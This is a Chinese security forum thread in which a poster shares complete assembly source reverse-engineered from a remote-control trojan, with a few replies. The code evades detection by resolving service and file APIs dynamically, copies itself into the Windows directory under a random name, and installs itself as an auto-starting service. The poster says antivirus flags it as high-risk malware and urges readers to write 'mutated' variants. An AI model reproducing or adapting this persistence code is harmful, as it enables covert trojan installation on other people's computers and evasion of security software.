极点寸芒 发表于 2013-12-14 01:09

逆向分析--某远控的隐藏技术

本帖最后由 willJ 于 2013-12-14 20:21 编辑

本来是一个朋友给我,要我找下后门的,可是这远控太强大了,而且作者的汇编基础非常强,就没找到,倒是无巧不成书的,发现了他的隐藏技术,瞬间感觉喜欢上了,于是写成了win32 分享下,3分钟前,主动防御会拦截,但是电脑重启后程序可以运行,现在又测试了下,已经变成高危病毒了,无语的360啊。。。源码如下,各位可以根据需要修改:.386
.model flat,stdcall
option casemap:none

include      windows.inc
include      user32.inc
includelib      user32.lib
include kernel32.inc
includelib      kernel32.lib

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-函数名称-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.const
sz11      db      "程序已经在windows目录下了",0
sz22      db      "标题",0
szUnlockService      db      "UnlockServiceDatabase",0
szExe      db      "\%c%c%c%c%c%c.exe",0
szTest      db      ".Test1",0
szCunMang      db      ".CunMang1",0
szMiaoShu      db      "BingDuMiaoShu",0


szGetModuleFileName      db      "GetModuleFileNameA",0
szGetWindowsDirectory      db      "GetWindowsDirectoryA",0
szCopyFile      db      "CopyFileA",0


szOpenSCM      db      "OpenSCManagerA",0
szCloseServiceHandle      db      "CloseServiceHandle",0
szStartService      db      "StartServiceA",0

szChangeService      db      "ChangeServiceConfig2A",0

szAdvapi32      db "ADVAPI32.DLL",0

szCreateService      db      "CreateServiceA",0
szGetTickCount      db      "GetTickCount",0
szKernel      db      "kernel32.dll",0
szLockService      db      "LockServiceDatabase",0

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-函数地址-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.data

szFileName      db      128 dup (?)      ;当前路径
szWindowDirect      db      128 dup (?)      ;windows目录路径
szNullFileName      db      128 dup (?)      ;windows目录路径,这个加上了exe
szMuBiaoName      db      128 dup (?)      ;清0的内存

szTime      dd      1
szExeBuffer      db      128 dup      (?)
HandleData      dd      ?
HandleCreateService      dd      ?
szLocalService1      dd      ?

addrKernel      dd      ?
addrGetModuleFileName      dd      ?
addrGetWindowsDirectory      dd      ?
addrCopyFile      dd      ?

addrAdv      dd      ?
addrOpenSCM      dd      ?
addrOpenService      dd      ?
addrCreateService      dd      ?
addrCloseServiceHandle      dd      ?
addrLockService      dd      ?
addrUnlockService      dd      ?
addrChangeService      dd      ?
addrStartService      dd      ?
addrGetTickCount      dd      ?


;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-代码段-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.code

_SuanFa procszVar
push esi

call addrGetTickCount
movesi,eax      ;时间的返回值

moveax,szTime
imul eax,eax,343FDh
addeax,269EC3h
movszTime,eax      ;变量的值改变
sareax,10h
andeax,7FFFh

addeax,3h      ;eax的值也改变
xoredx,edx      ;高位是0因为除以的是32位数值
imul eax,esi      ;esi是原来时间函数的返回值,这里与算法后的eax想乘
divszVar
popesi
moveax,edx      ;余数返回给eax

ret
_SuanFa endp

start :
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=这是ADVAPI32.DLL中的敏感函数-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
push offset szAdvapi32
call LoadLibrary
movaddrAdv,eax      ;得到ADVAPI32.dll

push offset szOpenSCM
push addrAdv
call GetProcAddress      ;得到OpenSCManager
movaddrOpenSCM,eax

push offset szCloseServiceHandle
push addrAdv
call GetProcAddress      ;得到CloseService
movaddrCloseServiceHandle,eax

push offset szStartService
push addrAdv
call GetProcAddress
movaddrStartService,eax      ;得到StartService

push offset szLockService
push addrAdv
call GetProcAddress
mov addrLockService,eax      ;得到LockService

push offset szUnlockService
push addrAdv
call GetProcAddress
mov addrUnlockService,eax      ;得到UnlockServiceDatabase

push offset szChangeService
push addrAdv
call GetProcAddress
movaddrChangeService,eax      ;得到ChangeServiceConfig2A

push offset szCreateService
push addrAdv
call GetProcAddress
mov addrCreateService,eax      ;得到CreateService


;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=这是kernel32中的敏感函数-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
push offset szKernel
call GetModuleHandle
movaddrKernel,eax      ;得到kernel32的句柄

push offset szGetModuleFileName
push addrKernel
call GetProcAddress
movaddrGetModuleFileName,eax      ;得到GetModuleFile

push offset szGetWindowsDirectory
push addrKernel
call GetProcAddress
movaddrGetWindowsDirectory,eax ;得到GetWindowsDirectory

push offset szCopyFile
push addrKernel
call GetProcAddress
movaddrCopyFile,eax ;得到CopyFile

push offset szGetTickCount
push addrKernel
call GetProcAddress
mov addrGetTickCount,eax      ;得到GetTickCount

push 128
push offset szFileName
push NULL
call addrGetModuleFileName      ;返回值是名字的长度,名称已经放到了缓冲区

push 128
push offset szWindowDirect
call addrGetWindowsDirectory      ;得到windoes目录,如果是system32 则是GetSystemDirectory

push 128
push offset szNullFileName
call addrGetWindowsDirectory      ;再次得到windows目录

mov edi,offset szWindowDirect      ;比较字符串中的内容
mov ebx,edi
mov ecx,128 ;比较FFFFFFFF次
mov al,0      ;比较的字符是0
cld
repne scasb      ;当CX=0或者 ZF=1 就退出循环
sub edi,ebx      ;此时edi就是字符长度
sub edi,1      ;减去字符串结尾的0

mov ecx,edi
mov esi,offset szFileName      ;源字符串
mov edi,offset szWindowDirect      ;目的字符串



s:      mov al,
mov bl,
cmp al,bl
jnz WindowsName      ;如果不在windows目录下,就开始复制到windows下面了
inc esi
inc edi
loop s
jmp_Service      ;能走到这一步,代表已经比较完了,字符串肯定相等,就开始服务了


WindowsName:      ;如果已经在windows目录下了,就进行设置服务函数

push 1Ah
call _SuanFa
movecx,1Ah
push 61h
popedi
addeax,edi
push eax      ;第一个字符

push 1Ah
call _SuanFa
movecx,1Ah
addeax,edi
push eax      ;第二个字符

push 1Ah
call _SuanFa
movecx,1Ah
addeax,edi
push eax      ;第三个字符

push 1Ah
call _SuanFa
movecx,1Ah
addeax,edi
push eax      ;第四个字符

push 1Ah
call _SuanFa
movecx,1Ah
addeax,edi
push eax      ;第五个字符

push 1Ah
call _SuanFa
movecx,1Ah
addeax,edi
push eax      ;第六个字符

pushoffset szExe
pushoffset szExeBuffer
callwsprintf

invoke lstrcat,offset szNullFileName,offset szExeBuffer
push TRUE
push offset szNullFileName
push offset szFileName
call addrCopyFile      ;开始复制

invoke RtlMoveMemory,offset szFileName,offset szMuBiaoName,120      ;内存清零
invoke RtlMoveMemory,offset szFileName,offset szNullFileName,120      ;填充新的路径

invoke MessageBox,NULL,offset szNullFileName,offset szWindowDirect,MB_OK

jmp Windows



_Service:      invoke MessageBox,NULL,offset sz11,offset sz22,MB_OK

Windows:
push SC_MANAGER_ALL_ACCESS      ;OD中这个显示的是数值F003F,那么肯定有朋友要知道我是怎么知道这个宏的,很简单,载入IDA,右键Use Stadard Symbolic....
push NULL      ;如果该指针为NULL ,该ServicesActive数据库默认情况下打开。
push NULL      ;如果该指针为NULL ,或者如果它指向一个空字符串,函数连接到服务控制管理器在本地计算机上。
call addrOpenSCM      ;函数建立了一个连接到服务控制管理器,并打开指定的数据库。

mov HandleData,eax      ;如果函数成功,返回值是一个句柄指定的服务控制管理器数据库
mov edi,eax      ;先保存起来,因为参数需要eax
xor ebx,ebx
cmp edi,ebx      ;测试返回值
jz_exit

mov eax,ebx
mov ebx,eax
xor ebx,ebx

push ebx
push ebx
push ebx
push ebx
push ebx
push offset szFileName
push SERVICE_ERROR_NORMAL
push SERVICE_AUTO_START
push SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS
push SERVICE_ALL_ACCESS
push offset szCunMang
push offset szTest
push edi
call addrCreateService      ;创建一个服务对象并且把它加入到服务管理数据库中

mov HandleCreateService,eax      ;保存句柄

push edi
call addrLockService      ;锁定数据库
movszLocalService1,eax

push offset szMiaoShu
push 1
push 0
call addrChangeService

push szLocalService1
call addrUnlockService

push 0
push 0
push 0
call addrStartService
_exit:         


invoke ExitProcess,NULL

end start


很简单,没有什么危害性操作,只是弹出个对话框提示下,一天一夜逆出来的,很累,再加上360的捣乱,实在没心情重写了,各位看懂后,就写个变形的吧,唉,喝豆奶粉补充下营养去。。。(只限技术交流)

996417507 发表于 2013-12-14 01:21

寸芒凶真叼,这都分析出来。。。

极点寸芒 发表于 2013-12-14 01:20

马斯维尔 发表于 2013-12-14 01:16 static/image/common/back.gif
寸芒胸就是牛逼! 我真没看懂。。以后再请教你。。。

我去。。。马儿,你速度他你妹的快了。。。。。。。要睡觉了{:1_887:}来,嘴一个

马斯维尔 发表于 2013-12-14 01:16

寸芒胸就是牛逼! 我真没看懂。。以后再请教你。。。{:301_972:}

极点寸芒 发表于 2013-12-14 01:22

996417507 发表于 2013-12-14 01:21 static/image/common/back.gif
寸芒凶真叼,这都分析出来。。。

{:1_887:}兄台,我这都是小打小闹,上不了大雅之堂的

113471423 发表于 2013-12-14 01:39

不明觉厉。。。{:1_907:}

705453217 发表于 2013-12-14 02:35

好像还不错 暂时不需要

ly269935419 发表于 2013-12-14 18:20

楼主这么厉害,这么详细

willJ 发表于 2013-12-14 20:27

这个算木马通过服务启动的方式吧

没有看出来有什么特别的地方,不知道是不是看漏了代码,还请LZ明示:dizzy:

极点寸芒 发表于 2013-12-14 22:00

willJ 发表于 2013-12-14 20:27 static/image/common/back.gif
这个算木马通过服务启动的方式吧

没有看出来有什么特别的地方,不知道是不是看漏了代码,还请LZ明示:diz ...

兄台好腻害,主要就是服务启动,不过我这个还是按照作者的改变了下,仅仅生成到windows下就不继续研究了,而作者的思路是,检测当前路径是否在windows目录下,如果不在,就利用时间算法,生成到windwos 目录下后,并且程序继续执行,开启服务,执行windows下的程序,当开机重启后,继续执行,此时会生成另一个程序,程序继续运行,开启新的服务,执行那个程序。。。。。。我研究的这个是鬼影集群防火墙下面的个版本 叫做沙漠集群,他的其他病毒模块,兄台有空可以去研究下,我在学习其他东西,所以暂时就不弄了
页: [1] 2 3 4
查看完整版本: 逆向分析--某远控的隐藏技术